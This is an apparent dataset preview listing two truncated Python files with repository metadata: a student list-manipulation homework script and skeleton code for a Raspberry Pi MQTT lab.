0db3d654fa0bf0daf4810d729097f38d572fdf69 | 45094f169ae3aa69c4c19e9f9512eb20dff5dd68 | /pythonprojects/homework4/1.py | 28e4a6c14dfb896e7fa49271ffd4edd033f08c52 | [] | no_license | maxiaoyu0727/python | 617b74c1982ef7b4d98b34c87c298885d4a6e38f | 49f9febca601eeeb14b2ef34e093dddf1971b595 | refs/heads/master | 2023-05-25T08:36:24.505397 | 2020-07-12T10:51:45 | 2020-07-12T10:51:45 | 247,464,314 | 0 | 0 | null | 2023-05-22T23:32:53 | 2020-03-15T12:43:16 | Python | UTF-8 | Python | false | false | 1,134 | py | #!/Users/maxiaoyu/Desktop/python/evns /py3/bin/python3
#encoding:utf-8
'''
@File : 1.py
@Time : 2020/04/21 23:57:11
@Author : DesignerA
@Version : 1.0
@Contact : DesignerA@qq.com
@WebSite : www.cnblogs.com/DesignerA
'''
# Start typing your code from here
#定义一个10个元素的列表,通过列表自带的函数,实现元素在尾部插入和头部插入并记录程序运行... | [
"18802272768@163.com"
] | 18802272768@163.com |
9a6704f5d8743a9fd85ab8f906faf1ed2870ac96 | 465f6b4b735a18537aa72bf07b72eea0b0d4908d | /rpiMQTT_p2ux.py | ef639a3110c436172b2de86c6077882c455702fc | [] | no_license | smcd253/uart-m3pi-ee250 | 12529648daba22625336ac4cdd168a92cf7f0e8f | 1f5115a2431ce70d7a8f4f16c1c01b016fef6d4e | refs/heads/master | 2020-03-15T08:14:29.426612 | 2018-05-04T06:52:19 | 2018-05-04T06:52:19 | 132,046,265 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,070 | py | """EE 250L Lab 07 Skeleton Code
Run rpi_pub_and_sub.py on your Raspberry Pi."""
import paho.mqtt.client as mqtt
import video_stream
import time
from multiprocessing import Process, Queue
def on_connect(client, userdata, flags, rc):
print("Connected to server (i.e., broker) with result code "+str(rc))
# No su... | [
"crewtayl@usc.edu"
] | crewtayl@usc.edu |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.